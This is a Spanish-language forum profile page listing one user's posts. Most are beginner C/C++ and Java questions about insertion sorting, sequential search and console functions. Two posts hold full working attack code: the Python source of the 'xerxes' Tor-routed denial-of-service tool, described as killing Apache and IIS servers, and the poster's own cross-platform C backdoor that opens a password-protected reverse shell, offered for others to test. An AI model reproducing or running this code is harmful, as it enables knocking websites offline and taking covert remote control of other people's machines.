|
Mostrar Mensajes
|
Páginas: 1 2 3 [4] 5 6
|
33
|
Programación / Programación C/C++ / Re: de nuevo con insercion directa
|
en: 26 Mayo 2014, 17:53 pm
|
No escribas en mayuscula y depuralo.
lo siento, te explico amigo moderador sucede que tampoco soy un craneo en programacion hasta aqui es q mis neuronas dan y e hecho el mayor esfuerzo en hacerlo yo mismo pero ya en este punto no se que hacer y pido que practicamente alguien sepa mucho mas me diga cual es la forma en que deberia colocar la funcion ya sea proporcionandome un ejemplo que me haga entender. aqui seria mi ayuda void ordenar_pares_impares(int vector[], int elementos) { int i, j, t; for (i=1; i<elementos; i++) { j=i; t=vector[j]; if(t%2==0) { while (j>0 && vector[j-1]>t) { vector[j]=vector[j-1]; j--; } } else { while (j>0 && vector[j-1]<t) { vector[j]=vector[j-1]; j--; } } vector[j]=t; } printf("\n\nel vector par-impar ordenado es: "); //imprimimos el vector con su respectivo ordenamiento for(int n=0;n<elementos;n++) { printf("\n dato %d es %d", (n+1), vector[n]); } char letra; printf("\ndesea buscar un elemento en el vector?\n presione s para SI y n para NO: "); letra=getch(); if (letra =='s') { busqueda_secuencial(vector,elementos); } }
|
|
|
35
|
Programación / Programación C/C++ / de nuevo con insercion directa
|
en: 26 Mayo 2014, 17:12 pm
|
EDITO!! gracias a las sugerencias y ayuda dada, modifico mi publicacion con el code ya arreglado y funcional. saludos #include <stdio.h> #include <windows.h> #include <conio.h> /* Escriba un programa en lenguaje C que realice las siguientes tareas: 1).- Leer entrada de "N" números enteros positivos mayor que cero (SOLO MAYOR QUE CERO, NO IGUAL O MENOR QUE CERO). (LISTO) 2).- Usar el método de ordenamiento de inserción, de tal forma que los números impares ocurran o se escriban antes de los pares en el vector 3).- Ordenar los pares en forma ascendente y los impares en forma descendente. (LISTO) 4).- Usar el método de búsqueda para hallar un numero o elemento "A" a través del método de búsqueda SECUENCIAL introducido por teclado. MOSTRAR SU POSICIÓN. (LISTO) CONSIDERACIONES: 1) Si no hay números pares leídos ordenar descendentes. (LISTO) 2) si no hay números impares leídos ordenar ascendente (LISTO) 3) si hay números Pares/impares ordenar según el PUNTO N° 3 ANTES MENCIONADO (LISTO) */ //prototipo de funcion ordenamiento void ordenar_impares_descendentes(int vector[], int elementos);//CONSIDERACION NUMERO 1 void ordenar_pares_ascendentes(int vector[], int elementos);//CONSIDERACION NUMERO 2 void ordenar_pares_impares(int vector[], int elementos);//CONSIDERACION NUMERO 3 void busqueda_secuencial(int vector[], int elementos); //PUNTO NUMERO 4 //inicia main int main() { //PEDIMOS LA CANTIDAD DE NUMEROS QUE DESEAMOS GUARDAR EN EL VECTOR printf("cuantos elementos desea almacenar? "); int* v,elementos; scanf("%d",&elementos); /* Reservar memoria para almacenar n enteros */ v = (int*)malloc(elementos * sizeof(int)); //UN VECTOR QUE TENDRA LAS DIMENCIONES DE LOS NUMEROS A ALMACENAR /* Verificamos que la asignación se haya realizado correctamente */ if (v== NULL) { /* Error al intentar reservar memoria */ } //CONTINUAMOS A LLENAR EL VECTOR YA DECLARADO printf("\nIngrese los valores de su lista"); int valor_temporal, par=0, impar=0, n; for(n=0;n<elementos;) { printf("\n Ingrese el dato %d: ",(n+1)); scanf("%d",&valor_temporal); //COMPROBAMOS QUE EL DIGITO ES MAYOR A CERO if(valor_temporal>0) { v[n]=valor_temporal;//almacenamos el digito n++; //avanzamos de posicion if(valor_temporal%2==0)//comprobamos si es par para mas adelante realizar la operacion necesaria { par=1; } else //caso contrario es impar { impar=1; } } else { printf("\nIntroduzca un numero mayor a cero"); } } //MOSTRAMOS AL OPERADOR QUE LOS NUMEROS SON ALMACENADOS EN EL ORDEN QUE FUERON INTRODUCIDOS printf("\nlos numeros introducidos son:"); for(int n=0;n<elementos;n++) { printf("\n dato %d es %d", (n+1), v[n]); } //PROCEDEMOS A REALIZAR LAS OPERACIONES NECESARIAS EN BASE A SI EXISTEN PARES, IMPARES O AMBOS EN EL VECTOR if(par==1 && impar==1) { //funcion de pares e impares ordenar_pares_impares(v,elementos); } else if(par==1 && impar==0) { //funcion de pares ascendentes ordenar_pares_ascendentes(v,elementos); } else if(par==0 && impar==1) { //funcion de impares descendentes ordenar_impares_descendentes(v,elementos); } free (v); system("pause"); return 0; } //FUNCION PARA ORDENAR DE MANERA ASCENDENTE EL VECTOR EN CASO DE QUE SOLO HAYAN PARES void ordenar_pares_ascendentes(int vector[], int elementos) { int i,j,v; for (i = 1; i < elementos; i++) { v = vector[i]; j = i - 1; while (j >= 0 && vector[j] > v) { vector[j + 1] = vector[j]; j--; } vector[j + 1] = v; } printf("\n\nel vector par ordenado de forma ascendente es: "); //imprimimos el vector con su respectivo ordenamiento for(int n=0;n<elementos;n++) { printf("\n dato %d es %d", (n+1), vector[n]); } char letra; printf("\ndesea buscar un elemento en el vector?\n presione s para SI y n para NO: "); letra=getch(); if (letra =='s') { busqueda_secuencial(vector,elementos); } } //FUNCION PARA ORDENAR DE MANERA DSECENDENTE EL VECTOR EN CASO DE QUE SOLO HAYAN IMPARES void ordenar_impares_descendentes(int vector[], int elementos) { int i, j, t; for (i=1; i<elementos; i++) { j=i; t=vector[j]; while (j>0 && vector[j-1]<t)//NOTESE QUE SOLO SE NECESITA CAMBIAR UN SIGNO EN ESTE CONDICIONAL PARA QUE SEA DESCENDENTE { vector[j]=vector[j-1]; j--; } vector[j]=t; } printf("\n\nel vector impar ordenado de forma descendente es: "); //imprimimos el vector con su respectivo ordenamiento for(int n=0;n<elementos;n++) { printf("\n dato %d es %d", (n+1), vector[n]); } char letra; printf("\ndesea buscar un elemento en el vector?\n presione s para SI y n para NO: "); letra=getch(); if (letra =='s') { busqueda_secuencial(vector,elementos); } } //FUNCION PARA EL CASO EN QUE EXISTAN PARES E IMPARES EN EL VECTOR //LOS IMPARES SE COLOCARAN PRIMEROS EN EL VECTOR Y DE MANERA DESCENDENTE //LOS PARES SE COLOCARAN EN LAS SIGUIENTES POSICIONES DE MANERA ASCENDENTE void ordenar_pares_impares(int vector[], int elementos) { int i, j, t,n; for (i=1; i<elementos; i++) { j=i; t=vector[j]; if(t%2==0) { while (j>0 && vector[j-1]>t && vector[j-1]%2==0) { vector[j]=vector[j-1]; j--; } } else { while (j>0 && (vector[j-1]<t || vector[j-1]%2==0)) { vector[j]=vector[j-1]; j--; } } vector[j]=t; } printf("\n\nel vector par-impar ordenado es: "); //imprimimos el vector con su respectivo ordenamiento for(int n=0;n<elementos;n++) { printf("\n dato %d es %d", (n+1), vector[n]); } char letra; printf("\ndesea buscar un elemento en el vector?\n presione s para SI y n para NO: "); letra=getch(); if (letra =='s') { busqueda_secuencial(vector,elementos); } } // BUSQUEDA SECUENCIAL void busqueda_secuencial(int vector[], int elementos) { int encontrar; printf("\nEscriba un numero por favor:"); scanf("%d", &encontrar); printf("\nUsted ingreso %d: ",encontrar); for (int i=0;i<elementos;i++) { if (vector[i] == encontrar) { printf("\nNumero encontrado en la posicion [%d] del vector",(i+1)); } else { printf("\nNumero no encontrado en la posicion [%d] del vector",(i+1)); } } // FIN BUSQUEDA SECUENCIAL }
|
|
|
36
|
Programación / Java / implementar una clase
|
en: 16 Abril 2014, 22:43 pm
|
buenas qusiera que me ayudaran, no puedo implementar este codigo es sencillo solo quiero llamar desde la clase main, la clase Operaciones para realizar uno de los metodos pero el netbeans no me deja compilarlo public class Operaciones { public static double suma(double a, double b) { return a+b; } public static double resta(double a, double b) { return a-b; } public static double multiplica(double a, double b) { return a*b; } public static double divide(double a, double b) { return a/b; } public static double modulo(double a, double b) { return a % b; } } public class PruebaOperaciones { public static void main (String args []) { System. out. println( Operaciones. multiplica(Operaciones. suma(2, 3), 8) ); } }
favor diganme que esta mal ya que no soy muy conocedor de java me estoy iniciando
|
|
|
37
|
Seguridad Informática / Hacking / ayuda con code python
|
en: 25 Junio 2013, 03:28 am
|
buenas tengo este code quisiera q le ayudaran en saber que es lo que medio hace ya que conozco muy poco de python gracias se los pido #!/usr/bin/python # this assumes you have the socks.py (http://phiral.net/socks.py) # and terminal.py (http://phiral.net/terminal.py) in the # same directory and that you have tor running locally # on port 9050. run with 128 to 256 threads to be effective. # kills apache 1.X with ~128, apache 2.X / IIS with ~256 # not effective on nginx import os import re import time import sys import random import math import getopt import socks import string import terminal from threading import Thread global stop_now global term stop_now = False term = terminal.TerminalController() class httpPost(Thread): def __init__(self, host, port, tor): Thread.__init__(self) self.host = host self.port = port self.socks = socks.socksocket() self.tor = tor self.running = True def _send_http_post(self, pause=10): global stop_now while True: if stop_now: self.running = False break p = "." print term.BOL+term.UP+term.CLEAR_EOL+"Volley: %s" % p+term.NORMAL self.socks.send(p) self.socks.close() def run(self): while self.running: while self.running: try: if self.tor: self.socks.setproxy(socks.PROXY_TYPE_SOCKS5, "127.0.0.1", 9050) self.socks.connect((self.host, self.port)) print term.BOL+term.UP+term.CLEAR_EOL+"Connected to host..."+ term.NORMAL break except Exception, e: if e.args[0] == 106 or e.args[0] == 60: break print term.BOL+term.UP+term.CLEAR_EOL+"Error connecting to host..."+ term.NORMAL time.sleep(1) continue while self.running: try: self._send_http_post() except Exception, e: if e.args[0] == 32 or e.args[0] == 104: print term.BOL+term.UP+term.CLEAR_EOL+"Thread broken, restarting..."+ term.NORMAL self.socks = socks.socksocket() break time.sleep(0.1) pass def usage(): print "./xerxes.py -t <target> [-r <threads> -p <port> -T -h]\n" def main(argv): try: opts, args = getopt.getopt(argv, "hTt:r:p:", ["help", "tor", "target=", "threads=", "port="]) except getopt.GetoptError: usage() sys.exit(-1) global stop_now target = '' threads = 256 tor = True port = 80 for o, a in opts: if o in ("-h", "--help"): usage() sys.exit(0) if o in ("-T", "--tor"): tor = True elif o in ("-t", "--target"): target = a elif o in ("-r", "--threads"): threads = int(a) elif o in ("-p", "--port"): port = int(a) if target == '' or int(threads) <= 0: usage() sys.exit(-1) print term.DOWN + term.RED + "/*" + term.NORMAL print term.RED + " * Target: %s Port: %d" % (target, port) + term.NORMAL print term.RED + " * Threads: %d Tor: %s" % (threads, tor) + term.NORMAL print term.RED + " * Give 20 seconds without tor or 40 with before checking site" + term.NORMAL print term.RED + " */" + term.DOWN + term.DOWN + term.NORMAL rthreads = [] for i in range(threads): t = httpPost(target, port, tor) rthreads.append(t) t.start() while len(rthreads) > 0: try: rthreads = [t.join(1) for t in rthreads if t is not None and t.isAlive()] except KeyboardInterrupt: print "\nShutting down threads...\n" for t in rthreads: stop_now = True t.running = False if __name__ == "__main__": main(sys.argv[1:])
|
|
|
38
|
Programación / Programación C/C++ / Re: [c] Cambiar de color?
|
en: 19 Marzo 2013, 06:41 am
|
HWND CurrentWin; CurrentWin = GetForegroundWindow(); HANDLE consol; consol = GetStdHandle(STD_OUTPUT_HANDLE); SetConsoleTextAttribute(consol,FOREGROUND_BLUE);
tambien podrias emplearlo ya que asi te evitas tener que llamar a otro proceso dentro del tuyo en este caso el comando "color"
|
|
|
39
|
Programación / Programación C/C++ / keybd_event
|
en: 19 Marzo 2013, 06:36 am
|
no consigo cual es el equivalente para usar en linux de keybd_event para que me ayuden porfa y como es el uso de dicha funcion
|
|
|
40
|
Programación / Programación C/C++ / backdoor multiplatafor
|
en: 3 Septiembre 2011, 00:00 am
|
me gustaria q lo probaran y me digan si les funciona solo lo e corrido en win xp y knoppix 5 #include <stdio.h> #include <string.h> //cabecera y librerias segun SO #ifdef WIN32 #include <winsock2.h> #pragma comment(lib,"ws2_32.lib") #else #include <netdb.h> #include <sys/socket.h> #define SOCKET_ERROR -1 #endif #define PASSWORD "mi_pass\0" //contraseña char Buffer[1024]; //variable para enviar/recibir datos int Recv; //para saber cuantos datos hemos transmitido int sock; int ReverseShell(char *Destino, short Puerto,char *pwd); /*funcion principal*/ int main() { for(;;) { if(send(sock,"",0,0)<=0) { #ifdef WIN32 WSACleanup(); #else close(sock); #endif ReverseShell("localhost",4664,PASSWORD); } #ifdef WIN32 Sleep(100); #else sleep(100); #endif } return 0; } int ReverseShell(char *Destino, short Puerto, char *pwd) { int Loggea(); struct hostent *Master; struct sockaddr_in Winsock_In; //si estamos en windows cargamos la libreria #ifdef WIN32 STARTUPINFO start_proc; PROCESS_INFORMATION info_proc; OSVERSIONINFO SOinfo; WSADATA wsaData; char *shell; //iniciamos la libreria para crear socket WSAStartup(MAKEWORD(2,2),/*version del socket*/ &wsaData /*estrutura que recibe las propiedades del socket*/); if((sock=WSASocket(AF_INET,SOCK_STREAM,IPPROTO_TCP,NULL,(unsigned int)NULL,(unsigned int)NULL))==INVALID_SOCKET) return 0; #else if((sock=socket(AF_INET,SOCK_STREAM,0))==SOCKET_ERROR) return 0; #endif Master=gethostbyname(Destino); Winsock_In.sin_family=AF_INET; //IPv4 Winsock_In.sin_port=htons(Puerto); //puerto al que conectar Winsock_In.sin_addr= *((struct in_addr *) Master->h_addr); //host al que conectar #ifdef WIN32 if(WSAConnect(sock,(SOCKADDR*)&Winsock_In,sizeof(Winsock_In),NULL,NULL,NULL,NULL)==SOCKET_ERROR) return 0; #else if(connect(sock,(struct sock_addr *)&Winsock_In,sizeof(struct sockaddr))==SOCKET_ERROR) return 0; #endif if(Loggea()==0) return 0; #ifdef WIN32 //rellenamos la estructura memset(&start_proc,0,sizeof(start_proc));//limpiamos start_proc.cb=sizeof(start_proc); start_proc.dwFlags=STARTF_USESTDHANDLES; start_proc.wShowWindow=SW_HIDE; start_proc.hStdInput=(HANDLE)sock; start_proc.hStdOutput=(HANDLE)sock; start_proc.hStdError=(HANDLE)sock; GetVersionEx(&SOinfo); if(SOinfo.dwPlatformId==VER_PLATFORM_WIN32_WINDOWS) { shell="command.com\0"; } else { shell="cmd.exe\0"; } //lanzamos la shell if(CreateProcess(NULL,shell,NULL,NULL,TRUE,0,NULL,NULL,&start_proc,&info_proc)==0) { return 1; } else { WSACleanup(); return 0; } #else if(fork()!=0) { close(sock); return 0; } //duplicamos los handles del socket dup2(sock,0); dup2(sock,1); dup2(sock,2); if(!execl("/bin/sh'","sh",NULL)) { close(sock); return 0; } #endif return 1; } //devulve 0 (incorrecto) / 1 (correcto) int Loggea() { if(PASSWORD!=NULL) { do { //limpiamos el buffer memset(Buffer,0,sizeof(char*)); //pedimos la contraseña send(sock,"\n[#] Introduce la password: ",strlen("\n[#]Introduce la password: "),0); //recibimos los datos Recv=recv(sock,Buffer,1024,0); //comprobamos si ha cerrado la conexion if(Recv<=0) return 0; Buffer[Recv-1]='\0'; } while(strcmp(Buffer,PASSWORD)!=0); send(sock,"[#]Aceptada!\n\n",strlen("[#]Aceptada!\n\n)"),0); } return 1; }
|
|
|
|
|
|
|